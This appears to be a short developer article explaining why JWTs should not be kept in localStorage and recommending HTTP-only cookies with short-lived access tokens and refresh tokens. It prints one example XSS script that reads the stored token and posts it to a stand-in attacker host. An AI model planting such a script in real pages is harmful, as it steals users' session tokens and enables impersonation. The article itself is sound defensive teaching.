Why You Should Never Store JWT in LocalStorage
Many developers store JWT like this because it seems simple:
jslocalStorage.setItem("token", jwtToken);
Later, they read it like this:
jsconst token = localStorage.getItem("token");
It works. It feels easy. That is why it became popular.
But easy does not mean safe.
The Real Problem: XSS (Cross-Site Scripting)
If your site has even a small XSS vulnerability, an attacker can run JavaScript inside your app.
For example, if someone injects this script into your site:
html<script> const token = localStorage.getItem("token"); fetch("https://attacker.com/steal", { method: "POST", body: JSON.stringify({ token }) }); </script>
Your JWT is instantly stolen.
Visual Attack Flow
Here is what happens in a real attack:
User visits your website
↓
Attacker injects malicious script
↓
Script reads localStorage
↓
JWT is sent to attacker
↓
Attacker impersonates user
Once the token is stolen, your security is broken.
Why HTTP-only Cookies Are Safer
A better approach is to store JWT in an HTTP-only cookie:
jsres.cookie("token", jwtToken, { httpOnly: true, secure: true, sameSite: "strict" });
Why this is safer:
- JavaScript cannot read it
- localStorage attacks no longer work
- It is automatically sent with requests
Access Token vs Refresh Token (Better Pattern)
A safer authentication flow looks like this:
Access Token
- Short-lived (5–15 minutes)
- Used for API requests
Refresh Token
- Long-lived
- Stored in HTTP-only cookie
- Used to get a new access token
Visual flow:
User logs in
↓
Server sends refresh token (HTTP-only cookie)
↓
Server sends short access token
↓
Access token used for requests
↓
When expired → use refresh token to get new one
How to Send Authenticated Requests
Instead of reading from localStorage, your backend automatically reads the cookie:
jsapp.get("/protected", (req, res) => { const token = req.cookies.token; });
On the frontend, you do nothing special — cookies go with every request.
Common Arguments Against Cookies (and Why They Are Wrong)
People say: “Cookies are vulnerable to CSRF.”
True — but you can prevent this with:
SameSite: "strict" CSRF tokens Proper backend validation
When configured correctly, cookies are much safer than localStorage.
When localStorage Is Acceptable
You can use localStorage for:
UI preferences (theme, language) Non-sensitive data Temporary app state
But never for authentication tokens.
Final Takeaway
Storing JWT in localStorage is a security risk, not just a bad practice. HTTP-only cookies with refresh tokens provide a much safer and production-ready authentication system.